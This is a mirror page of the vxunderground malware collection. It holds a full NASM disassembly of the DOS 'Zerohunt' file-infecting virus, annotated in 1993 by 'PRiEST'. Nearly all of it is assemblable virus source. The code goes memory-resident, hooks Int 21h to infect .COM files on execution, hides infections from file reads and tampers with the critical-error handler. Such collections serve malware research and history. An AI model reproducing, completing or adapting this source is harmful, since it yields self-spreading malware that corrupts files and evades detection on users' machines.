mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
271 lines
12 KiB
NASM
271 lines
12 KiB
NASM
CSEG SEGMENT
|
|
ASSUME CS:CSEG, ES:CSEG, SS:CSEG
|
|
org 100h
|
|
|
|
; Zerohunt virus
|
|
; Disassembly by PRiEST
|
|
; 4-15-93
|
|
|
|
|
|
CMC_JMP equ 0e9f5h ;This is the virus's signature
|
|
;which is located at the beginning
|
|
;of infected files, it consist of
|
|
;a CMC and a JMP
|
|
|
|
Mem_Loc equ 21ch ;offset of virus in memory
|
|
|
|
Zero_Size equ offset Zero_End-offset Zero_Start ;Size of virus
|
|
Zero_File_Size equ offset Zero_File_End-offset Zero_Start ;Size of virus in
|
|
;file
|
|
|
|
IVT_21 equ 21h*4h ;offset of Int 21h in IVT
|
|
IVT_24 equ 24h*4h ;offset of Int 24h in IVT
|
|
|
|
Mem_Size equ 413h ;offset of Memory size in BIOS area
|
|
|
|
Zerohunt: jmp Zero_Start ;Dummy code
|
|
nop
|
|
|
|
org 21ch ;set new origin
|
|
|
|
Zero_Start: call $+3 ;Push IP
|
|
pop si ;pop IP into SI
|
|
mov es,ax ;ES = segemnt zero
|
|
mov di,Mem_Loc ;Offset of memory resident code
|
|
cmp byte ptr es:[di],0e8h ;This instructions checks to see
|
|
;if the virus is already in memory
|
|
;by looking for the call at
|
|
;Zero_Start in the IVT
|
|
je Jump_File ;return control to file if in memory
|
|
mov cx,Zero_Size ;size of virus
|
|
sub si,3h ;Find offset of Zero_Start
|
|
rep movsb ;copy us to IVT
|
|
push es
|
|
pop ds ;DS = 0
|
|
mov bx,IVT_21 ;offset of Interrupt 21 in the IVT
|
|
les si,ds:[bx] ;Get seg:off of Int 21h
|
|
mov word ptr ds:[bx],offset Zero_21 ;Point Int 21h to us
|
|
mov word ptr ds:[bx+2h],ax ;point Int 21h to segment 0
|
|
mov word ptr ds:[Old_21+2h],es ;Save Int 21h
|
|
mov word ptr ds:[Old_21],si ;Save Int 21h
|
|
mov al,40h ;40h k
|
|
mov bx,ds:[Mem_Size] ;Get amount of memory in k's
|
|
sub bx,ax ;subtract 40h to get segment of mem
|
|
mul bx ;find address of free memory
|
|
mov word ptr ds:[High_Mem],ax ;Save segment address
|
|
xor ax,ax ;Zero out AX
|
|
Jump_File: push cs
|
|
push cs
|
|
pop ds ;Restore DS and ES
|
|
pop es
|
|
|
|
;Self-modifying code that restores the first 4 bytes of an infected .com
|
|
;file. The Jump_Data defines where to jump when the virus is done, this
|
|
;is because it only infects files that have a JMP (0e9h) as the first
|
|
;instruction, any other file gets ignored.
|
|
|
|
db 0c7h,6,0,1 ;mov word ptr ds:[100h],
|
|
File_Data dw 20cdh ;quit to DOS
|
|
|
|
db 0c7h,6,2,1 ;mov word ptr ds:[102h],
|
|
File_Data_2 dw 9090h ;NOPs
|
|
|
|
db 0e9h ;Jump
|
|
|
|
;This is where the infected program originally jumped to, right now it's
|
|
;set back to the beginning so that it will terminate to DOS.
|
|
|
|
Jump_Data dw 0-(offset Jump_Data_End-offset Zero_Start)
|
|
Jump_Data_End: ;used to find offset of Zero_Start
|
|
|
|
Random_Read: pushf ;Keep stack in order when IRET
|
|
push cs ;return to this segment
|
|
call Jump_21 ;Call DOS to read file
|
|
pushf
|
|
push ax
|
|
push es
|
|
push bx
|
|
push ds ;save registers
|
|
mov ah,2fh ;Get address of DTA into ES:BX
|
|
int 21h
|
|
push es
|
|
pop ds ;DTA segment in DS
|
|
cmp word ptr ds:[bx],CMC_JMP ;Is this file infected?
|
|
jne Skip_Block_Clean
|
|
call Stealth ;Hide virus
|
|
Skip_Block_Clean:pop ds
|
|
pop bx
|
|
pop es
|
|
pop ax ;Pop registers
|
|
jmp Fix_Flags_Ret ;Fix flags and return
|
|
|
|
Handle_Read: pushf ;Keep stack right
|
|
push cs ;return to this segment
|
|
call Jump_21
|
|
pushf ;Save flags
|
|
jb Fix_Flags_Ret
|
|
xchg dx,bx ;Address of data read into BX
|
|
cmp word ptr ds:[bx],CMC_JMP ;File infected?
|
|
jne Fix_Flags_DX
|
|
cmp word ptr ds:[bx+2h],ax ;is it valid (? I guess)
|
|
jnb Fix_Flags_DX
|
|
call Stealth ;Hide virus
|
|
|
|
Fix_Flags_DX: xchg dx,bx ;restore registers
|
|
Fix_Flags_Ret: popf ;POP flags
|
|
push bp
|
|
push ax ;Save registers
|
|
pushf
|
|
pop ax ;tranfer flags to ax
|
|
mov bp,sp ;get stack frame
|
|
mov ss:[bp+8h],ax ;Save flags directly into stack
|
|
pop ax
|
|
pop bp ;POP registers
|
|
iret
|
|
|
|
Stealth: push si ;Save register
|
|
mov si,bx ;Where code was read to
|
|
add si,ds:[bx+2h] ;Where virus is in program
|
|
push word ptr ds:[si+File_Data-Zero_Start] ;original bytes
|
|
pop word ptr ds:[bx] ;restore them
|
|
push word ptr ds:[si+File_Data_2-Zero_Start] ;original bytes
|
|
pop word ptr ds:[bx+2h] ;restore them too
|
|
add si,4h ;fix for jump
|
|
push ax
|
|
push cx ;save registers
|
|
mov cx,Zero_Size ;Size of virus
|
|
xor al,al ;Zero out AL
|
|
Stealth_Loop: mov byte ptr ds:[si],al ;Remove virus from file
|
|
inc si
|
|
loop Stealth_Loop
|
|
pop cx
|
|
pop ax
|
|
pop si ;Pop registers
|
|
retn
|
|
|
|
|
|
Zero_21: cmp ah,21h ;Random read?
|
|
je Random_Read
|
|
cmp ah,27h ;Random Block read?
|
|
je Random_Read
|
|
cmp ah,3fh ;Handle read?
|
|
je Handle_Read
|
|
cmp ax,4b00h ;Execute program?
|
|
je Infect
|
|
jmp Jump_21 ;Jump to original Int 21h
|
|
|
|
Infect: push es ;save registers
|
|
push ax
|
|
push bx
|
|
push dx
|
|
push ds
|
|
mov ax,3d02h ;open file for writing
|
|
int 21h
|
|
xchg ax,bx ;handle into BX
|
|
mov ah,3fh ;read from file
|
|
xor cx,cx ;Zero CX
|
|
mov ds,cx ;zero into DS
|
|
inc cx ;read one byte
|
|
mov dx,offset Buffer ;read to variable "buffer"
|
|
mov si,dx ;same into SI
|
|
pushf ;Keep stack straight after IRET
|
|
push cs ;Push CS for Far return
|
|
call Jump_21 ;Call original Interrupt 21
|
|
cmp byte ptr ds:[si],0e9h ;Is the first instruction a jump?
|
|
je File_Has_Jump
|
|
jmp Close_File ;File is not valid, close and quit
|
|
File_Has_Jump: mov ax,4200h ;Set position from start of file
|
|
dec cx ;CX now equals 0
|
|
xor dx,dx ;DX also equals 0
|
|
int 21h ;set file position to start of file
|
|
pop ds
|
|
pop dx ;POP location of file name
|
|
push dx
|
|
push ds ;PUSH them back
|
|
push bx ;Save file handle number
|
|
push cs
|
|
pop es ;Set ES to our CS
|
|
mov bx,offset High_Mem ;offset of variable High_Mem
|
|
mov ax,4b03h ;Load file
|
|
int 21h
|
|
mov ds,es:[bx] ;Get address of High memory
|
|
mov cx,Zero_File_Size ;size of virus in File
|
|
mov dx,cx ;same into DX
|
|
mov bx,ds:[1h] ;Get jump address
|
|
mov bp,bx ;I don't recall BP being saved!!!
|
|
xor al,al ;zero out AL
|
|
Search_Loop: dec bx ;decrement pointer
|
|
pop di ;Pop handle
|
|
je Close_File_DI
|
|
push di ;Save handle again
|
|
cmp byte ptr ds:[bx],al ;search for zeros
|
|
je Search_Looper
|
|
mov cx,dx ;reset counter
|
|
Search_Looper: loop Search_Loop ;Scan for size of virus
|
|
mov di,bp ;Get jump address of file
|
|
sub di,bx ;minus location of zeros
|
|
sub di,offset Jump_Data_End-offset Zero_Start ;Make jump
|
|
mov word ptr cs:[Jump_Data],di ;Save original jump address
|
|
push word ptr ds:[0] ;save original bytes
|
|
pop word ptr cs:[File_Data] ;Into our own code
|
|
push word ptr ds:[2h] ;again with bytes 3 and 4
|
|
pop word ptr cs:[File_Data_2]
|
|
mov si,Mem_Loc ;location of virus in memory
|
|
mov cx,dx ;Size of virus in file
|
|
dec cx ;Size of virus
|
|
push ds
|
|
pop es ;ES = segment of free memory
|
|
push cs
|
|
pop ds ;DS = our segment
|
|
mov di,bx ;offset of free space in file
|
|
rep movsb ;copy virus into file (I gather)
|
|
sub bx,4h ;subtract for jump to virus
|
|
mov word ptr es:[2h],bx ;Fix jump
|
|
mov word ptr es:[0],CMC_JMP ;CMC, then JMP
|
|
mov di,0cfcfh
|
|
lds si,ds:[IVT_24] ;fetch address of Int 24h
|
|
xchg di,ds:[si] ;what the hey!? Computer should
|
|
;crash if Int 24h is triggered!
|
|
pop bx ;POP handle number
|
|
mov ax,5700h ;Get date
|
|
int 21h
|
|
push cx
|
|
push dx ;save original date/time of file
|
|
push es
|
|
pop ds ;DS = segment of free memory
|
|
mov ah,40h
|
|
mov cx,bp ;size of virus
|
|
xor dx,dx
|
|
int 21h ;write to file, I guess the virus
|
|
pop dx
|
|
pop cx ;POP the date/time
|
|
mov ax,5701h ;restore date/time to file
|
|
int 21h
|
|
xchg di,bx ;dummy exchange if infection ok
|
|
Close_File_DI: xchg di,bx ;retore handle from DI for closing
|
|
Close_File: mov ah,3eh ;close file
|
|
int 21h
|
|
lds si,cs:[IVT_24] ;Get Int 24h address from IVT
|
|
cmp byte ptr ds:[si],0cfh ;Is it to us?
|
|
jne No_24_Restore ;I know, they're Shitty labels
|
|
xchg di,ds:[si] ;restore Int 24h
|
|
No_24_Restore: pop ds
|
|
pop dx
|
|
pop bx
|
|
pop ax
|
|
pop es ;Pop all registers
|
|
|
|
Jump_21: db 0eah ;jmp seg:off
|
|
Old_21 dd ? ;segment offset of Int 21h
|
|
|
|
Buffer db ?
|
|
|
|
Zero_End:
|
|
|
|
High_Mem dw ? ;Segment of availible memory
|
|
|
|
Zero_File_End:
|
|
|
|
CSEG ENDS
|
|
END Zerohunt
|